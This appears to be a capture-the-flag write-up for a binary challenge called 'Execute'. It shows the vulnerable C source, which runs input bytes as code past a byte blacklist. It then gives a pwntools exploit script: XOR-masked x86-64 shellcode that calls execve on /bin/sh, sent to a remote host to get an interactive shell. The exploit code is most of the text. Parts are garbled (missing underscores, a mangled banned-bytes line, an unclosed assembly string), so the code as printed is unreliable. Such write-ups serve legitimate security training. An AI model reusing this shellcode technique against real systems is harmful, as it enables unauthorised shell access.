Execute

1) Checked the source code

```
// gcc execute.c -z execstack -o execute
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void setup() {
   setvbuf(stdin, NULL, IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, IONBF, 0);
    alarm(0x7f);
}
int check(char *a, char *b, int size, int op) {
    for(int i = 0; i < op; i++) {</pre>
        for (int j = 0; j < size-1; j++) {
            if(a[i] == b[j])
                return 0;
        }
    }
   return 1337;
}
int main(){
    char buf[62];
    char blacklist[] =
"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67";
    setup();
   puts ("Hey, just because I am hungry doesn't mean I'll execute everything");
    int size = read(0, buf, 60);
    if(!check(blacklist, buf, size, strlen(blacklist))) {
        puts("Hehe, told you... won't accept everything");
        exit(1337);
    }
    ( ( void (*) () ) buf) ();
}
```

2) Note:

This is a sandbox challenge, we need to make a shellcode under the contraints without using those bytes and under 60 bytes

3) Exploit:

```
#!/usr/bin/env python3
from pwn import *
context(os='linux', arch='amd64', log level='error')
context.terminal = ['tmux', 'splitw', ''-h']
exe = ELF("./execute")
context.binary = exe
banned = b' \times 3b \times 54 \times 62 \times 69 \times 66 \times 73 \times 68 \times 66 \times 20 \times 56 \times 66 \times 66 \times 61 \times 67
from pwn import *
assembly_code = '''
xor rdi, rdi
push rdi
mov rdi, 0x4a510d0d4c4b400d
mov rsi, 0x22222222222222
xor rdi, rsi
push rdi
mov rdi, rsp
mov rdx, 58
add rdx, 1
push rdx
pop rax
mov rsi, 0
mov rdx, 0
syscall
payload = asm(assembly code)
# to run objdump for better view
exploit = ELF.from assembly(assembly code)
exploit.save('exploit')
failed = False
for c in payload:
    if c in banned:
         print(f"{hex(c)} is in banned!")
         failed = True
if failed:
    exit(1)
io = remote('94.237.62.149', 47291)
io.sendlineafter(b'everything\n', payload)
io.interactive()
```

4) Flag